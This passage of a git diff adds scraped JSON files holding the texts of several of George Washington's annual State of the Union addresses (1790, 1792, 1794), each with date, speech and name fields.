expense of no duty. Faithful to ourselves, we have violated no\nobligation to others.Our agriculture, commerce, and manufactures prosper beyond former example,\nthe molestations of our trade (to prevent a continuance of which, however,\nvery pointed remonstrances have been made) being overbalanced by the\naggregate benefits which it derives from a neutral position. Our population\nadvances with a celerity which, exceeding the most sanguine calculations,\nproportionally augments our strength and resources, and guarantees our\nfuture security.Every part of the Union displays indications of rapid and various\nimprovement; and with burthens so light as scarcely to be perceived, with\nresources fully adequate to our present exigencies, with governments\nfounded on the genuine principles of rational liberty, and with mild and\nwholesome laws, is it too much to say that our country exhibits a spectacle\nof national happiness never surpassed, if ever before equaled?Placed in a situation every way so auspicious, motives of commanding force\nimpel us, with sincere acknowledgment to Heaven and pure love to our\ncountry, to unite our efforts to preserve, prolong, and improve our immense\nadvantages. To cooperate with you in this desirable work is a fervent and\nfavorite wish of my heart.It is a valuable ingredient in the general estimate of our welfare that the\npart of our country which was lately the scene of disorder and insurrection\nnow enjoys the blessings of quiet and order. The misled have abandoned\ntheir errors, and pay the respect to our Constitution and laws which is due\nfrom good citizens to the public authorities of the society. These\ncircumstances have induced me to pardon generally the offenders here\nreferred to, and to extend forgiveness to those who had been adjudged to\ncapital punishment. For though I shall always think it a sacred duty to\nexercise with firmness and energy the constitutional powers with which I am\nvested, yet it appears to me no less consistent with the public good than\nit is with my personal feelings to mingle in the operations of Government\nevery degree of moderation and tenderness which the national justice,\ndignity, and safety may permit.Gentlemen: Among the objects which will claim your attention in the course\nof the session, a review of our military establishment is not the least\nimportant. It is called for by the events which have changed, and may be\nexpected still further to change, the relative situation of our frontiers.\nIn this review you will doubtless allow due weight to the considerations\nthat the questions between us and certain foreign powers are not yet\nfinally adjusted, that the war in Europe is not yet terminated, and that\nour Western posts, when recovered, will demand provision for garrisoning\nand securing them. A statement of our present military force will be laid\nbefore you by the Department of War.With the review of our Army establishment is naturally connected that of\nthe militia. It will merit inquiry what imperfections in the existing plan\nfurther experience may have unfolded. The subject is of so much moment in\nmy estimation as to excite a constant solicitude that the consideration of\nit may be renewed until the greatest attainable perfection shall be\naccomplished. Time is wearing away some advantages for forwarding the\nobject, while none better deserves the persevering attention of the public\ncouncils.While we indulge the satisfaction which the actual condition of our Western\nborders so well authorizes, it is necessary that we should not lose sight\nof an important truth which continually receives new confirmations, namely,\nthat the provisions heretofore made with a view to the protection of the\nIndians from the violences of the lawless part of our frontier inhabitants\nare insufficient. It is demonstrated that these violences can now be\nperpetrated with impunity, and it can need no argument to prove that unless\nthe murdering of Indians can be restrained by bringing the murderers to\ncondign punishment, all the exertions of the Government to prevent\ndestructive retaliations by the Indians will prove fruitless and all our\npresent agreeable prospects illusory. The frequent destruction of innocent\nwomen and children, who are chiefly the victims of retaliation, must\ncontinue to shock humanity, and an enormous expense to drain the Treasury\nof the Union.To enforce upon the Indians the observance of justice it is indispensable\nthat there shall be competent means of rendering justice to them. If these\nmeans can be devised by the wisdom of Congress, and especially if there can\nbe added an adequate provision for supplying the necessities of the Indians\non reasonable terms (a measure the mention of which I the more readily\nrepeat, as in all the conferences with them they urge it with solicitude),\nI should not hesitate to entertain a strong hope of rendering our\ntranquillity permanent. I add with pleasure that the probability even of\ntheir civilization is not diminished by the experiments which have been\nthus far made under the auspices of Government. The accomplishment of this\nwork, if practicable, will reflect undecaying luster on our national\ncharacter and administer the most grateful consolations that virtuous minds\ncan know.Gentlemen of the House of Representatives:The state of our revenue, with the sums which have been borrowed and\nreimbursed pursuant to different acts of Congress, will be submitted from\nthe proper Department, together with an estimate of the appropriations\nnecessary to be made for the service of the ensuing year.Whether measures may not be advisable to reinforce the provision of the\nredemption of the public debt will naturally engage your examination.\nCongress have demonstrated their sense to be, and it were superfluous to\nrepeat mine, that whatsoever will tend to accelerate the honorable\nextinction of our public debt accords as much with the true interest of our\ncountry as with the general sense of our constituents.Gentlemen of the Senate and of the House of Representatives:The statements which will be laid before you relative to the Mint will shew\nthe situation of that institution and the necessity of some further\nlegislative provisions for carrying the business of it more completely into\neffect, and for checking abuses which appear to be arising in particular\nquarters.The progress in providing materials for the frigates and in building them,\nthe state of the fortifications of our harbors, the measures which have\nbeen pursued for obtaining proper sites for arsenals and for replenishing\nour magazines with military stores, and the steps which have been taken\ntoward the execution of the law for opening a trade with the Indians will\nlikewise be presented for the information of Congress.Temperate discussion of the important subjects which may arise in the\ncourse of the session and mutual forbearance where there is a difference of\nopinion are too obvious and necessary for the peace, happiness, and welfare\nof our country to need any recommendation of mine.GO. WASHINGTON", 
+    "name": "George Washington"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/George WashingtonJanuary 8, 1790.json b/pyscrapper/stateofunion/ScrapedData/George WashingtonJanuary 8, 1790.json
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+++ b/pyscrapper/stateofunion/ScrapedData/George WashingtonJanuary 8, 1790.json	
@@ -0,0 +1,5 @@
+{
+    "date": "January 8, 1790", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:I embrace with great satisfaction the opportunity which now presents itself\nof congratulating you on the present favorable prospects of our public\naffairs. The recent accession of the important state of North Carolina to\nthe Constitution of the United States (of which official information has\nbeen received), the rising credit and respectability of our country, the\ngeneral and increasing good will toward the government of the Union, and\nthe concord, peace, and plenty with which we are blessed are circumstances\nauspicious in an eminent degree to our national prosperity.In resuming your consultations for the general good you can not but derive\nencouragement from the reflection that the measures of the last session\nhave been as satisfactory to your constituents as the novelty and\ndifficulty of the work allowed you to hope. Still further to realize their\nexpectations and to secure the blessings which a gracious Providence has\nplaced within our reach will in the course of the present important session\ncall for the cool and deliberate exertion of your patriotism, firmness, and\nwisdom.Among the many interesting objects which will engage your attention that of\nproviding for the common defense will merit particular regard. To be\nprepared for war is one of the most effectual means of preserving peace.A free people ought not only to be armed, but disciplined; to which end a\nuniform and well-digested plan is requisite; and their safety and interest\nrequire that they should promote such manufactories as tend to render them\nindependent of others for essential, particularly military, supplies.The proper establishment of the troops which may be deemed indispensable\nwill be entitled to mature consideration. In the arrangements which may be\nmade respecting it it will be of importance to conciliate the comfortable\nsupport of the officers and soldiers with a due regard to economy.There was reason to hope that the pacific measures adopted with regard to\ncertain hostile tribes of Indians would have relieved the inhabitants of\nour southern and western frontiers from their depredations, but you will\nperceive from the information contained in the papers which I shall direct\nto be laid before you (comprehending a communication from the Commonwealth\nof Virginia) that we ought to be prepared to afford protection to those\nparts of the Union, and, if necessary, to punish aggressors.The interests of the United States require that our intercourse with other\nnations should be facilitated by such provisions as will enable me to\nfulfill my duty in that respect in the manner which circumstances may\nrender most conducive to the public good, and to this end that the\ncompensation to be made to the persons who may be employed should,\naccording to the nature of their appointments, be defined by law, and a\ncompetent fund designated for defraying the expenses incident to the\nconduct of foreign affairs.Various considerations also render it expedient that the terms on which\nforeigners may be admitted to the rights of citizens should be speedily\nascertained by a uniform rule of naturalization.Uniformity in the currency, weights, and measures of the United States is\nan object of great importance, and will, I am persuaded, be duly attended\nto.The advancement of agriculture, commerce, and manufactures by all proper\nmeans will not, I trust, need recommendation; but I can not forbear\nintimating to you the expediency of giving effectual encouragement as well\nto the introduction of new and useful inventions from abroad as to the\nexertions of skill and genius in producing them at home, and of\nfacilitating the intercourse between the distant parts of our country by a\ndue attention to the post-office and post-roads.Nor am I less persuaded that you will agree with me in opinion that there\nis nothing which can better deserve your patronage than the promotion of\nscience and literature. Knowledge is in every country the surest basis of\npublic happiness. In one in which the measures of government receive their\nimpressions so immediately from the sense of the community as in ours it is\nproportionably essential.To the security of a free constitution it contributes in various ways--by\nconvincing those who are intrusted with the public administration that\nevery valuable end of government is best answered by the enlightened\nconfidence of the people, and by teaching the people themselves to know and\nto value their own rights; to discern and provide against invasions of\nthem; to distinguish between oppression and the necessary exercise of\nlawful authority; between burthens proceeding from a disregard to their\nconvenience and those resulting from the inevitable exigencies of society;\nto discriminate the spirit of liberty from that of licentiousness--\ncherishing the first, avoiding the last--and uniting a speedy but\ntemperate vigilance against encroachments, with an inviolable respect to\nthe laws.Whether this desirable object will be best promoted by affording aids to\nseminaries of learning already established, by the institution of a\nnational university, or by any other expedients will be well worthy of a\nplace in the deliberations of the legislature.Gentlemen of the House of Representatives:I saw with peculiar pleasure at the close of the last session the\nresolution entered into by you expressive of your opinion that an adequate\nprovision for the support of the public credit is a matter of high\nimportance to the national honor and prosperity. In this sentiment I\nentirely concur; and to a perfect confidence in your best endeavors to\ndevise such a provision as will be truly with the end I add an equal\nreliance on the cheerful cooperation of the other branch of the\nlegislature.It would be superfluous to specify inducements to a measure in which the\ncharacter and interests of the United States are so obviously so deeply\nconcerned, and which has received so explicit a sanction from your\ndeclaration.Gentlemen of the Senate and House of Representatives:I have directed the proper officers to lay before you, respectively, such\npapers and estimates as regard the affairs particularly recommended to your\nconsideration, and necessary to convey to you that information of the state\nof the Union which it is my duty to afford.The welfare of our country is the great object to which our cares and\nefforts ought to be directed, and I shall derive great satisfaction from a\ncooperation with you in the pleasing though arduous task of insuring to our\nfellow citizens the blessings which they have a right to expect from a\nfree, efficient, and equal government.", 
+    "name": "George Washington"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/George WashingtonNovember 19, 1794.json b/pyscrapper/stateofunion/ScrapedData/George WashingtonNovember 19, 1794.json
new file mode 100755
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+++ b/pyscrapper/stateofunion/ScrapedData/George WashingtonNovember 19, 1794.json	
@@ -0,0 +1,5 @@
+{
+    "date": "November 19, 1794", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:When we call to mind the gracious indulgence of Heaven by which the\nAmerican people became a nation; when we survey the general prosperity of\nour country, and look forward to the riches, power, and happiness to which\nit seems destined, with the deepest regret do I announce to you that during\nyour recess some of the citizens of the United States have been found\ncapable of insurrection. It is due, however, to the character of our\nGovernment and to its stability, which can not be shaken by the enemies of\norder, freely to unfold the course of this event.During the session of the year 1790 it was expedient to exercise the\nlegislative power granted by the Constitution of the United States \"to lay\nand collect excises\". In a majority of the States scarcely an objection was\nheard to this mode of taxation. In some, indeed, alarms were at first\nconceived, until they were banished by reason and patriotism. In the four\nwestern counties of Pennsylvania a prejudice, fostered and imbittered by\nthe artifice of men who labored for an ascendency over the will of others\nby the guidance of their passions, produced symptoms of riot and violence.It is well known that Congress did not hesitate to examine the complaints\nwhich were presented, and to relieve them as far as justice dictated or\ngeneral convenience would permit. But the impression which this moderation\nmade on the discontented did not correspond with what it deserved. The arts\nof delusion were no longer confined to the efforts of designing\nindividuals. The very forbearance to press prosecutions was misinterpreted\ninto a fear of urging the execution of the laws, and associations of men\nbegan to denounce threats against the officers employed. From a belief that\nby a more formal concert their operation might be defeated, certain\nself-created societies assumed the tone of condemnation. Hence, while the\ngreater part of Pennsylvania itself were conforming themselves to the acts\nof excise, a few counties were resolved to frustrate them. It is now\nperceived that every expectation from the tenderness which had been\nhitherto pursued was unavailing, and that further delay could only create\nan opinion of impotency or irresolution in the Government. Legal process\nwas therefore delivered to the marshal against the rioters and delinquent\ndistillers.No sooner was he understood to be engaged in this duty than the vengeance\nof armed men was aimed at his person and the person and property of the\ninspector of the revenue. They fired upon the marshal, arrested him, and\ndetained him for some time as a prisoner. He was obliged, by the jeopardy\nof his life, to renounce the service of other process on the west side of\nthe Allegheny Mountain, and a deputation was afterwards sent to him to\ndemand a surrender of that which he had served. A numerous body repeatedly\nattacked the house of the inspector, seized his papers of office, and\nfinally destroyed by fire his buildings and whatsoever they contained. Both\nof these officers, from a just regard to their safety, fled to the seat of\nGovernment, it being avowed that the motives to such outrages were to\ncompel the resignation of the inspector, to withstand by force of arms the\nauthority of the United States, and thereby to extort a repeal of the laws\nof excise and an alteration in the conduct of Government.Upon testimony of these facts an associate justice of the Supreme Court of\nthe United States notified to me that \"in the counties of Washington and\nAllegheny, in Pennsylvania, laws of the United States were opposed, and the\nexecution thereof obstructed, by combinations too powerful to be suppressed\nby the ordinary course of judicial proceedings or by the powers vested in\nthe marshal of that district\".On this call, momentous in the extreme, I sought and weighted what might\nbest subdue the crisis. On the one hand the judiciary was pronounced to be\nstripped of its capacity to enforce the laws; crimes which reached the very\nexistence of social order were perpetrated without control; the friends of\nGovernment were insulted, abused, and overawed into silence or an apparent\nacquiescence; and to yield to the treasonable fury of so small a portion of\nthe United States would be to violate the fundamental principle of our\nConstitution, which enjoins that the will of the majority shall prevail. On\nthe other, to array citizen against citizen, to publish the dishonor of\nsuch excesses, to encounter the expense and other embarrassments of so\ndistant an expedition, were steps too delicate, too closely interwoven with\nmany affecting considerations, to be lightly adopted.I postponed, therefore, the summoning of the militia immediately into the\nfield, but I required them to be held in readiness, that if my anxious\nendeavors to reclaim the deluded and to convince the malignant of their\ndanger should be fruitless, military force might be prepared to act before\nthe season should be too far advanced.My proclamation of the 7th of August last was accordingly issued, and\naccompanied by the appointment of commissioners, who were charged to\nrepair to the scene of insurrection. They were authorized to confer\nwith any bodies of men or individuals. They were instructed to be\ncandid and explicit in stating the sensations which had been excited in the\nExecutive, and his earnest wish to avoid a resort to coercion; to\nrepresent, however, that, without submission, coercion must be the resort;\nbut to invite them, at the same time, to return to the demeanor of faithful\ncitizens, by such accommodations as lay within the sphere of Executive\npower. Pardon, too, was tendered to them by the Government of the United\nStates and that of Pennsylvania, upon no other condition than a\nsatisfactory assurance of obedience to the laws.Although the report of the commissioners marks their firmness and\nabilities, and must unite all virtuous men, by shewing that the means of\nconciliation have been exhausted, all of those who had committed or abetted\nthe tumults did not subscribe the mild form which was proposed as the\natonement, and the indications of a peaceable temper were neither\nsufficiently general nor conclusive to recommend or warrant the further\nsuspension of the march of the militia.Thus the painful alternative could not be discarded. I ordered the militia\nto march, after once more admonishing the insurgents in my proclamation of\nthe 25th of September last.It was a task too difficult to ascertain with precision the lowest degree\nof force competent to the quelling of the insurrection. From a respect,\nindeed, to economy and the ease of my fellow citizens belonging to the\nmilitia, it would have gratified me to accomplish such an estimate. My very\nreluctance to ascribe too much importance to the opposition, had its extent\nbeen accurately seen, would have been a decided inducement to the smallest\nefficient numbers. In this uncertainty, therefore, I put into motion fifteen\nthousand men, as being an army which, according to all human calculation,\nwould be prompt and adequate in every view, and might, perhaps, by rendering\nresistance desperate, prevent the effusion of blood. Quotas had been\nassigned to the States of New Jersey, Pennsylvania, Maryland, and Virginia,\nthe governor of Pennsylvania having declared on this occasion an opinion\nwhich justified a requisition to the other States.As commander in chief of the militia when called into the actual service of\nthe United States, I have visited the places of general rendezvous to\nobtain more exact information and to direct a plan for ulterior movements.\nHad there been room for a persuasion that the laws were secure from\nobstruction; that the civil magistrate was able to bring to justice such of\nthe most culpable as have not embraced the proffered terms of amnesty, and\nmay be deemed fit objects of example; that the friends to peace and good\ngovernment were not in need of that aid and countenance which they ought\nalways to receive, and, I trust, ever will receive, against the vicious and\nturbulent, I should have caught with avidity the opportunity of restoring\nthe militia to their families and homes. But succeeding intelligence has\ntended to manifest the necessity of what has been done, it being now\nconfessed by those who were not inclined to exaggerate the ill conduct of\nthe insurgents that their malevolence was not pointed merely to a\nparticular law, but that a spirit inimical to all order has actuated many\nof the offenders. If the state of things had afforded reason for the\ncontinuance of my presence with the army, it would not have been\nwithholden. But every appearance assuring such an issue as will redound to\nthe reputation and strength of the United States, I have judged it most\nproper to resume my duties at the seat of Government, leaving the chief\ncommand with the governor of Virginia.Still, however, as it is probable that in a commotion like the present,\nwhatsoever may be the pretense, the purposes of mischief and revenge may\nnot be laid aside, the stationing of a small force for a certain period in\nthe four western counties of Pennsylvania will be indispensable, whether we\ncontemplate the situation of those who are connected with the execution of\nthe laws or of others who may have exposed themselves by an honorable\nattachment to them. Thirty days from the commencement of this session being\nthe legal limitation of the employment of the militia, Congress can not be\ntoo early occupied with this subject.Among the discussions which may arise from this aspect of our affairs, and\nfrom the documents which will be submitted to Congress, it will not escape\ntheir observation that not only the inspector of the revenue, but other\nofficers of the United States in Pennsylvania have, from their fidelity in\nthe discharge of their functions, sustained material injuries to their\nproperty. The obligation and policy of indemnifying them are strong and\nobvious. It may also merit attention whether policy will not enlarge this\nprovision to the retribution of other citizens who, though not under the\nties of office, may have suffered damage by their generous exertions for\nupholding the Constitution and the laws. The amount, even if all the\ninjured were included, would not be great, and on future emergencies the\nGovernment would be amply repaid by the influence of an example that he who\nincurs a loss in its defense shall find a recompense in its liberality.While there is cause to lament that occurrences of this nature should have\ndisgraced the name or interrupted the tranquillity of any part of our\ncommunity, or should have diverted to a new application any portion of the\npublic resources, there are not wanting real and substantial consolations\nfor the misfortune. It has demonstrated that our prosperity rests on solid\nfoundations, by furnishing an additional proof that my fellow citizens\nunderstand the true principles of government and liberty; that they feel\ntheir inseparable union; that notwithstanding all the devices which have\nbeen used to sway them from their interest and duty, they are not as ready\nto maintain the authority of the laws against licentious invasions as they\nwere to defend their rights against usurpation. It has been a spectacle\ndisplaying to the highest advantage of republican government to behold the\nmost and the least wealthy of our citizens standing in the same ranks as\nprivate soldiers, preeminently distinguished by being the army of the\nConstitution--undeterred by a march of 300 miles over rugged mountains, by\napproach of an inclement season, or by any other discouragement. Nor ought\nI to omit to acknowledge the efficacious and patriotic cooperation which I\nhave experienced from the chief magistrates of the States to which my\nrequisitions have been addressed.To every description of citizens, let praise be given, but let them\npersevere in their affectionate vigilance over that precious depository of\nAmerican happiness, the Constitution of the United States. Let them cherish\nit, too, for the sake of those who, from every clime, are daily seeking a\ndwelling in our land. And when in the calm moments of reflection they shall\nhave retraced the origin and progress of the insurrection, let them\ndetermine whether it has not been fomented by combinations of men who,\ncareless of consequences and disregarding the unerring truth that those who\nrouse can not always appease a civil convulsion, have disseminated, from an\nignorance or perversion of facts, suspicions, jealousies, and accusations\nof the whole Government.Having thus fulfilled the engagement which I took when I entered into\noffice, \"to the best of my ability to preserve, protect, and defend the\nConstitution of the United States\", on you, gentlemen, and the people by\nwhom you are deputed, I rely for support.In the arrangement to which the possibility of a similar contingency will\nnaturally draw your attention it ought not to be forgotten that the militia\nlaws have exhibited such striking defects as could not have been supplied\nby the zeal of our citizens. Besides the extraordinary expense and waste,\nwhich are not the least of the defects, every appeal to those laws is\nattended with a doubt on its success.The devising and establishing of a well regulated militia would be a\ngenuine source of legislative honor and a perfect title to public\ngratitude. I therefore entertain a hope that the present session will not\npass without carrying to its full energy the power of organizing, arming,\nand disciplining the militia, and thus providing, in the language of the\nConstitution, for calling them forth to execute the laws of the Union,\nsuppress insurrections, and repel invasions.As auxiliary to the state of our defense, to which Congress can never too\nfrequently recur, they will not omit to inquire whether the fortifications\nwhich have been already licensed by law be commensurate with our\nexigencies.The intelligence from the army under the command of General Wayne is a\nhappy presage to our military operations against the hostile Indians north\nof the Ohio. From the advices which have been forwarded, the advance which\nhe has made must have damped the ardor of the savages and weakened their\nobstinacy in waging war against the United States. And yet, even at this\nlate hour, when our power to punish them can not be questioned, we shall\nnot be unwilling to cement a lasting peace upon terms of candor, equity,\nand good neighborhood.Toward none of the Indian tribes have overtures of friendship been spared.\nThe Creeks in particular are covered from encroachment by the imposition of\nthe General Government and that of Georgia. From a desire also to remove\nthe discontents of the Six Nations, a settlement mediated at Presque Isle,\non Lake Erie, has been suspended, and an agent is now endeavoring to\nrectify any misconception into which they may have fallen. But I can not\nrefrain from again pressing upon your deliberations the plan which I\nrecommended at the last session for the improvement of harmony with all the\nIndians within our limits by the fixing and conducting of trading houses\nupon the principles then expressed.Gentlemen of the House of Representatives:The time which has elapsed since the commencement of our fiscal measures\nhas developed our pecuniary resources so as to open the way for a definite\nplan for the redemption of the public debt. It is believed that the result\nis such as to encourage Congress to consummate this work without delay.\nNothing can more promote the permanent welfare of the nation and nothing\nwould be more grateful to our constituents. Indeed, whatsoever is\nunfinished of our system of public credit can not be benefited by\nprocrastination; and as far as may be practicable we ought to place that\ncredit on grounds which can not be disturbed, and to prevent that\nprogressive accumulation of debt which must ultimately endanger all\ngovernments.An estimate of the necessary appropriations, including the expenditures\ninto which we have been driven by the insurrection, will be submitted to\nCongress.Gentlemen of the Senate and of the House of Representatives:The Mint of the United States has entered upon the coinage of the precious\nmetals, and considerable sums of defective coins and bullion have been\nlodged with the Director by individuals. There is a pleasing prospect that\nthe institution will at no remote day realize the expectation which was\noriginally formed of its utility.In subsequent communications certain circumstances of our intercourse with\nforeign nations will be transmitted to Congress. However, it may not be\nunseasonable to announce that my policy in our foreign transactions has\nbeen to cultivate peace with all the world; to observe the treaties with\npure and absolute faith; to check every deviation from the line of\nimpartiality; to explain what may have been misapprehended and correct what\nmay have been injurious to any nation, and having thus acquired the right,\nto lose no time in acquiring the ability to insist upon justice being done\nto ourselves.Let us unite, therefore, in imploring the Supreme Ruler of Nations to\nspread his holy protection over these United States; to turn the\nmachinations of the wicked to the confirming of our Constitution; to enable\nus at all times to root out internal sedition and put invasion to flight;\nto perpetuate to our country that prosperity which his goodness has already\nconferred, and to verify the anticipations of this Government being a\nsafeguard of human rights.GO. WASHINGTON", 
+    "name": "George Washington"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/George WashingtonNovember 6, 1792.json b/pyscrapper/stateofunion/ScrapedData/George WashingtonNovember 6, 1792.json
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@@ -0,0 +1,5 @@
+{
+    "date": "November 6, 1792", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:It is some abatement of the satisfaction with which I meet you on the\npresent occasion that, in felicitating you on a continuance of the national\nprosperity generally, I am not able to add to it information that the\nIndian hostilities which have for some time past distressed our\nNorthwestern frontier have terminated.You will, I am persuaded, learn with no less concern than I communicate it\nthat reiterated endeavors toward effecting a pacification have hitherto\nissued only in new and outrageous proofs of persevering hostility on the\npart of the tribes with whom we are in contest. An earnest desire to\nprocure tranquillity to the frontier, to stop the further effusion of\nblood, to arrest the progress of expense, to forward the prevalent wish of\nthe nation for peace has led to strenuous efforts through various channels\nto accomplish these desirable purposes; in making which efforts I consulted\nless my own anticipations of the event, or the scruples which some\nconsiderations were calculated to inspire, than the wish to find the object\nattainable, or if not attainable, to ascertain unequivocally that such is\nthe case.A detail of the measures which have been pursued and of their consequences,\nwhich will be laid before you, while it will confirm to you the want of\nsuccess thus far, will, I trust, evince that means as proper and as\nefficacious as could have been devised have been employed. The issue of\nsome of them, indeed, is still depending, but a favorable one, though not\nto be despaired of, is not promised by anything that has yet happened.In the course of the attempts which have been made some valuable citizens\nhave fallen victims to their zeal for the public service. A sanction\ncommonly respected even among savages has been found in this instance\ninsufficient to protect from massacre the emissaries of peace. It will, I\npresume, be duly considered whether the occasion does not call for an\nexercise of liberality toward the families of the deceased.It must add to your concern to be informed that, besides the continuation\nof hostile appearances among the tribes north of the Ohio, some threatening\nsymptoms have of late been revived among some of those south of it.A part of the Cherokees, known by the name of Chickamaugas, inhabiting five\nvillages on the Tennessee River, have long been in the practice of\ncommitting depredations on the neighboring settlements.It was hoped that the treaty of Holston, made with the Cherokee Nation in\nJuly, 1791, would have prevented a repetition of such depredations; but the\nevent has not answered this hope. The Chickamaugas, aided by some banditti\nof another tribe in their vicinity, have recently perpetrated wanton and\nunprovoked hostilities upon the citizens of the United States in that\nquarter. The information which has been received on this subject will be\nlaid before you. Hitherto defensive precautions only have been strictly\nenjoined and observed.It is not understood that any breach of treaty or aggression whatsoever on\nthe part of the United States or their citizens is even alleged as a\npretext for the spirit of hostility in this quarter.I have reason to believe that every practicable exertion has been made\n(pursuant to the provision by law for that purpose) to be prepared for the\nalternative of a prosecution of the war in the event of a failure of\npacific overtures. A large proportion of the troops authorized to be raised\nhave been recruited, though the number is still incomplete, and pains have\nbeen taken to discipline and put them in condition for the particular kind\nof service to be performed. A delay of operations (besides being dictated\nby the measures which were pursuing toward a pacific termination of the\nwar) has been in itself deemed preferable to immature efforts. A statement\nfrom the proper department with regard to the number of troops raised, and\nsome other points which have been suggested, will afford more precise\ninformation as a guide to the legislative consultations, and among other\nthings will enable Congress to judge whether some additional stimulus to\nthe recruiting service may not be advisable.In looking forward to the future expense of the operations which may be\nfound inevitable I derive consolation from the information I receive that\nthe product of the revenues for the present year is likely to supersede the\nnecessity of additional burthens on the community for the service of the\nensuing year. This, however, will be better ascertained in the course of\nthe session, and it is proper to add that the information alluded to\nproceeds upon the supposition of no material extension of the spirit of\nhostility.I can not dismiss the subject of Indian affairs without again recommending\nto your consideration the expediency of more adequate provision for giving\nenergy to the laws throughout our interior frontier and for restraining the\ncommission of outrages upon the Indians, without which all pacific plans\nmust prove nugatory. To enable, by competent rewards, the employment of\nqualified and trusty persons to reside among them as agents would also\ncontribute to the preservation of peace and good neighborhood. If in\naddition to these expedients an eligible plan could be devised for\npromoting civilization among the friendly tribes and for carrying on trade\nwith them upon a scale equal to their wants and under regulations\ncalculated to protect them from imposition and extortion, its influence in\ncementing their interest with ours could not but be considerable.The prosperous state of our revenue has been intimated. This would be still\nmore the case were it not for the impediments which in some places continue\nto embarrass the collection of the duties on spirits distilled within the\nUnited States. These impediments have lessened and are lessening in local\nextent, and, as applied to the community at large, the contentment with the\nlaw appears to be progressive.But symptoms of increased opposition having lately manifested themselves in\ncertain quarters, I judged a special interposition on my part proper and\nadvisable, and under this impression have issued a proclamation warning\nagainst all unlawful combinations and proceedings having for their object\nor tending to obstruct the operation of the law in question, and announcing\nthat all lawful ways and means would be strictly put in execution for\nbringing to justice the infractors thereof and securing obedience thereto.Measures have also been taken for the prosecution of offenders, and\nCongress may be assured that nothing within constitutional and legal limits\nwhich may depend upon me shall be wanting to assert and maintain the just\nauthority of the laws. In fulfilling this trust I shall count entirely upon\nthe full cooperation of the other departments of the Government and upon\nthe zealous support of all good citizens.I can not forbear to bring again into the view of the Legislature the\nsubject of a revision of the judiciary system. A representation from the\njudges of the Supreme Court, which will be laid before you, points out some\nof the inconveniences that are experienced. In the course of the execution\nof the laws considerations arise out of the structure of the system which\nin some cases tend to relax their efficacy. As connected with this subject,\nprovisions to facilitate the taking of bail upon processes out of the\ncourts of the United States and a supplementary definition of offenses\nagainst the Constitution and laws of the Union and of the punishment for\nsuch offenses will, it is presumed, be found worthy of particular\nattention.Observations on the value of peace with other nations are unnecessary. It\nwould be wise, however, by timely provisions to guard against those acts of\nour own citizens which might tend to disturb it, and to put ourselves in a\ncondition to give that satisfaction to foreign nations which we may\nsometimes have occasion to require from them. I particularly recommend to\nyour consideration the means of preventing those aggressions by our\ncitizens on the territory of other nations, and other infractions of the\nlaw of nations, which, furnishing just subject of complaint, might endanger\nour peace with them; and, in general, the maintenance of a friendly\nintercourse with foreign powers will be presented to your attention by the\nexpiration of the law for that purpose, which takes place, if not renewed,\nat the close of the present session.In execution of the authority given by the Legislature measures have been\ntaken for engaging some artists from abroad to aid in the establishment of\nour mint. Others have been employed at home. Provision has been made of the\nrequisite buildings, and these are now putting into proper condition for\nthe purposes of the establishment. There has also been a small beginning in\nthe coinage of half dimes, the want of small coins in circulation calling\nthe first attention to them.The regulation of foreign coins in correspondency with the principles of\nour national coinage, as being essential to their due operation and to\norder in our money concerns, will, I doubt not, be resumed and completed.It is represented that some provisions in the law which establishes the\npost office operate, in experiment, against the transmission of news papers\nto distant parts of the country. Should this, upon due inquiry, be found to\nbe the fact, a full conviction of the importance of facilitating the\ncirculation of political intelligence and information will, I doubt not,\nlead to the application of a remedy.The adoption of a constitution for the State of Kentucky has been notified\nto me. The Legislature will share with me in the satisfaction which arises\nfrom an event interesting to the happiness of the part of the nation to\nwhich it relates and conducive to the general order.It is proper likewise to inform you that since my last communication on the\nsubject, and in further execution of the acts severally making provision\nfor the public debt and for the reduction thereof, three new loans have\nbeen effected, each for 3,000,000 florins--one at Antwerp, at the annual\ninterest of 4.5%, with an allowance of 4% in lieu of all charges, in the\nother 2 at Amsterdam, at the annual interest of 4%, with an allowance of\n5.5% in one case and of 5% in the other in lieu of all charges. The rates\nof these loans and the circumstances under which they have been made are\nconfirmations of the high state of our credit abroad.Among the objects to which these funds have been directed to be applied,\nthe payment of the debts due to certain foreign officers, according to the\nprovision made during the last session, has been embraced.Gentlemen of the House of Representatives:I entertain a strong hope that the state of the national finances is now\nsufficiently matured to enable you to enter upon a systematic and effectual\narrangement for the regular redemption and discharge of the public debt,\naccording to the right which has been reserved to the Government. No\nmeasure can be more desirable, whether viewed with an eye to its intrinsic\nimportance or to the general sentiment and wish of the nation.Provision is likewise requisite for the reimbursement of the loan which has\nbeen made of the Bank of the United States, pursuant to the eleventh\nsection of the act by which it is incorporated. In fulfilling the public\nstipulations in this particular it is expected a valuable saving will be\nmade.Appropriations for the current service of the ensuing year and for such\nextraordinaries as may require provision will demand, and I doubt not will\nengage, your early attention.Gentlemen of the Senate and of the House of Representatives:I content myself with recalling your attention generally to such objects,\nnot particularized in my present, as have been suggested in my former\ncommunications to you.Various temporary laws will expire during the present session. Among these,\nthat which regulates trade and intercourse with the Indian tribes will\nmerit particular notice.The results of your common deliberations hitherto will, I trust, be\nproductive of solid and durable advantages to our constituents, such as, by\nconciliating more and more their ultimate suffrage, will tend to strengthen\nand confirm their attachment to that Constitution of Government upon which,\nunder Divine Providence, materially depend their union, their safety, and\ntheir happiness.Still further to promote and secure these inestimable ends there is nothing\nwhich can have a more powerful tendency than the careful cultivation of\nharmony, combined with a due regard to stability, in the public councils.GO. WASHINGTON", 
+    "name": "George Washington"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/George WashingtonOctober 25, 1791.json b/pyscrapper/stateofunion/ScrapedData/George WashingtonOctober 25, 1791.json
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+{
+    "date": "October 25, 1791", 
